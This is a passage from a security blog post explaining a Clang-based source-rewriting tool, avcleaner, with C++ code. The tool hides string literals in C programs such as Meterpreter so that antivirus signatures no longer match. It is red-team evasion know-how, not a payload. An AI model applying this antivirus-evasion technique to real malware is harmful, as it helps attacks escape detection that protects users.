Let us implement the class definition and inherit some good stuff from clang::ast_matchers::MatchFinder::MatchCallback:

#ifndef AVCLEANER_MATCHHANDLER_H
#define AVCLEANER_MATCHHANDLER_H

#include <vector>
#include <string>
#include <memory>
#include "llvm/Support/raw_ostream.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/ADT/ArrayRef.h"
#include "clang/Rewrite/Core/Rewriter.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Basic/SourceManager.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/AST/Type.h"
#include "clang/AST/Decl.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/ASTConsumer.h"
#include "MatchHandler.h"

class MatchHandler : public clang::ast_matchers::MatchFinder::MatchCallback {

public:
    using MatchResult = clang::ast_matchers::MatchFinder::MatchResult;

    MatchHandler(clang::Rewriter *rewriter);
    void run(const MatchResult &Result) override; // callback function that runs whenever a Match is found.

};

#endif //AVCLEANER_MATCHHANDLER_H

In MatchHandler.cpp, we will have to implement MatchHandler’s constructor and the run callback function. The constructor is pretty simple, since it is only needed to store the clang::Rewriter‘s instance for later use:

using namespace clang;

MatchHandler::MatchHandler(clang::Rewriter *rewriter) {
    this->ASTRewriter = rewriter;
}

run is implemented as follows:

void MatchHandler::run(const MatchResult &Result) {
    const auto *Decl = Result.Nodes.getNodeAs<clang::StringLiteral>("decl");
    clang::SourceManager &SM = ASTRewriter->getSourceMgr();

    // skip strings in included headers
    if (!SM.isInMainFile(Decl->getBeginLoc()))
        return;

    // strings that comprise less than 5 characters are not worth the effort
    if (!Decl->getBytes().str().size() > 4) {
        return;
    }

    climbParentsIgnoreCast(*Decl, clang::ast_type_traits::DynTypedNode(), Result.Context, 0);
}

From the excerpt shown above, there are three elements worth mentioning:

  • We extract the AST node that was matched by the pattern defined in StringEncryptionConsumer. To do that, one can call the function getNodeAs, which expects a string as argument that relates to the identifier the pattern was bound to (see the line const auto Matcher = stringLiteral().bind("decl"))
  • We skip strings that are not defined in the translation unit under analysis. Indeed, our pass intervenes after Clang‘s preprocessor, which will actually copy-paste included system headers into the translation unit.
  • Then, we are ready to process the string literal. Since we need to know about the context where this string literal was found, we pass the extracted node to a user-defined function, (climbParentsIgnoreCast in this case, for the lack of a better name), along Result.Context, which contains a reference to the enclosing AST. The goal is to visit the tree upwards until an interesting node is found. In this case, we are interested in a node of type CallExpr.
bool
MatchHandler::climbParentsIgnoreCast(const StringLiteral &NodeString, clang::ast_type_traits::DynTypedNode node,
                                     clang::ASTContext *const pContext, uint64_t iterations) {

    ASTContext::DynTypedNodeList parents = pContext->getParents(NodeString);

    if (iterations > 0) {
        parents = pContext->getParents(node);
    }

    for (const auto &parent : parents) {

        StringRef ParentNodeKind = parent.getNodeKind().asStringRef();

        if (ParentNodeKind.find("Cast") != std::string::npos) {

            return climbParentsIgnoreCast(NodeString, parent, pContext, ++iterations);
        }

        handleStringInContext(&NodeString, pContext, parent);
    }

    return false;
}

In a nutshell, this function recursively looks up the parent nodes of a StringLiteral node, until it finds one that should be interesting (i.e. not a “cast”). handleStringInContext is also straight-forward:

void MatchHandler::handleStringInContext(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                         const clang::ast_type_traits::DynTypedNode node) {

    StringRef ParentNodeKind = node.getNodeKind().asStringRef();

    if (ParentNodeKind.compare("CallExpr") == 0) {
        handleCallExpr(pLiteral, pContext, node);
    } else if (ParentNodeKind.compare("InitListExpr") == 0) {
        handleInitListExpr(pLiteral, pContext, node);
    } else {
        llvm::outs() << "Unhandled context " << ParentNodeKind << " for string " << pLiteral->getBytes() << "\n";
    }
}

As evident from the snippet above, only two kind of nodes are actually handled. It should also be quite easy to add more if needed. Indeed, both cases are already handled in a similar fashion.

void MatchHandler::handleCallExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                  const clang::ast_type_traits::DynTypedNode node) {

    const auto *FunctionCall = node.get<clang::CallExpr>();

    if (isBlacklistedFunction(FunctionCall)) {
        return; // exclude printf-like functions when the replacement is not constant anymore (C89 standard...).
    }

    handleExpr(pLiteral, pContext, node);
}

void MatchHandler::handleInitListExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                      const clang::ast_type_traits::DynTypedNode node) {

    handleExpr(pLiteral, pContext, node);
}

Replacing string literals

Since both CallExpr and InitListExpr can be handled in a similar fashion, we define a common function usable by both.

bool MatchHandler::handleExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                  const clang::ast_type_traits::DynTypedNode node) {

    clang::SourceRange LiteralRange = clang::SourceRange(
            ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getBeginLoc()),
            ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc())
    );

    if(shouldAbort(pLiteral, pContext, LiteralRange))
        return false;

    std::string Replacement = translateStringToIdentifier(pLiteral->getBytes().str());

    if(!insertVariableDeclaration(pLiteral, pContext, LiteralRange, Replacement))
        return false ;

    Globs::PatchedSourceLocation.push_back(LiteralRange);

    return replaceStringLiteral(pLiteral, pContext, LiteralRange, Replacement);
}
  • We randomly generate a variable name.
  • Find some empty space at the nearest location and insert the variable declaration. This is basically a wrapper around ASTRewriter->InsertText().
  • Replace the string with the identifier generated in step 1.
  • Add the string literal location to a collection. This is useful because when visiting InitListExpr, the same string literal will appear twice (no idea why).

The last step is the only one that is tricky to implement really, so let us focus on that first:

bool MatchHandler::replaceStringLiteral(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                        clang::SourceRange LiteralRange,
                                        const std::string& Replacement) {

    // handle "TEXT" macro argument, for instance LoadLibrary(TEXT("ntdll"));
    bool isMacro = ASTRewriter->getSourceMgr().isMacroBodyExpansion(pLiteral->getBeginLoc());

    if (isMacro) {
        StringRef OrigText = clang::Lexer::getSourceText(CharSourceRange(pLiteral->getSourceRange(), true),
                                                         pContext->getSourceManager(), pContext->getLangOpts());

        // weird bug with TEXT Macro / other macros...there must be a proper way to do this.
        if (OrigText.find("TEXT") != std::string::npos) {

            ASTRewriter->RemoveText(LiteralRange);
            LiteralRange.setEnd(ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc().getLocWithOffset(-1)));
        }
    }

    return ASTRewriter->ReplaceText(LiteralRange, Replacement);
}

Normally, replacing text should be realised with the ReplaceText API, but in practice too many bugs were encountered with it. When it comes to macros, things tend to get very complicated because Clang’s API behaves inconsistently. For instance, if you remove the check isMacroBodyExpansion(), you will end up replacing “TEXT” instead of its argument.

For instance in LoadLibrary(TEXT("ntdll")), the actual result would be LoadLibrary(your_variable("ntdll")), which is incorrect.

The reason for this is that TEXT is a macro that, when handled by the Clang’s preprocessor, is replaced with L"ntdll". Our transformation pass happens after the preprocessor has done its job, so querying the start and end locations of the token “ntdll” will yield values that are off by a few characters, and are not useful to us. Unfortunately, querying the actual locations in the original translation unit is a kind of black magic with Clang’s API, and the working solution was found with trial-and-error, sorry.

Inserting a variable declaration at the nearest empty location

Now that we are able to replace string literals with variable identifiers, the goal is to define that variable and assign it with the value of the original string. In short, we want the patched source code to contain char your_variable[] = "ntdll", without overwriting anything.

There can be two scenarios:

  • The string literal is located within a function body.
  • The string literal is located outside a function body.

The latter is the most straightforward, since it is only needed to find the start of the expression where the string literal is used.

For the former, we need to find the enclosing function. Then, Clang exposes an API to query the start location of the function body (after the first bracket). This is an ideal place to insert a variable declaration because the variable will be visible in the entire function, and the tokens that we insert will not overwrite stuff.

In any case, both situations are solved by visiting every parent node until a node of type FunctionDecl or VarDecl is found:

MatchHandler::findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent,
                                const clang::StringLiteral &Literal, bool IsGlobal, uint64_t Iterations) {

    if (Iterations > CLIMB_PARENTS_MAX_ITER)
        throw std::runtime_error("Reached max iterations when trying to find a function declaration");

    ASTContext::DynTypedNodeList parents = Context->getParents(Literal);;

    if (Iterations > 0) {
        parents = Context->getParents(Parent);
    }

    for (const auto &parent : parents) {

        StringRef ParentNodeKind = parent.getNodeKind().asStringRef();

        if (ParentNodeKind.find("FunctionDecl") != std::string::npos) {
            auto FunDecl = parent.get<clang::FunctionDecl>();
            auto *Statement = FunDecl->getBody();
            auto *FirstChild = *Statement->child_begin();
            return {FirstChild->getBeginLoc(), FunDecl->getEndLoc()};

        } else if (ParentNodeKind.find("VarDecl") != std::string::npos) {

            if (IsGlobal) {
                return parent.get<clang::VarDecl>()->getSourceRange();
            }
        }

        return findInjectionSpot(Context, parent, Literal, IsGlobal, ++Iterations);
    }
}

Test

git clone https://github.com/SCRT/avcleaner
mkdir avcleaner/CMakeBuild && cd avcleaner/CMakeBuild
cmake ..
make
cd ..
bash run_example.sh test/string_simplest.c

As you can see, this works pretty well. Now, this example was simple enough that it could have been solved with regexes and way fewer lines of codes. However, even though we are delighted to count the king of regexes (
@1mm0rt411 himself) among our ranks, it would have been unfair to challenge him with a task as pesky as string obfuscation in Meterpreter.

Going further

For now, strings are not actually encrypted, in spite of the obfuscation pass being named “StringEncryptor”. How much effort is really needed to actually encrypt the strings? Spoiler: a few more hours, but it is a tradition to leave some exercices for the reader 😉

In addition, @TheColonial recently (April 2020) updated Meterpreter so that it can be compiled with more recent versions of Visual Studio. It means that it should be possible to move on from the C89 standard and handle more corner cases, such as obfuscating the first argument to format string functions.

To be continued…

As this post is already kind of lengthy, it was decided to split it into several parts. In fact, obfuscating strings was the easy part implementation-wise, although you need to be extremely familiar with Clang‘s API. Its documentation being the source code, we recommend allocating a week or two to ingest it as a whole 😛 (and then don’t hesitate to reach out to a specialist for mental health recovery).

The next blog post will be about hiding API Imports automatically.

References

Vladimir Meier

❌
❌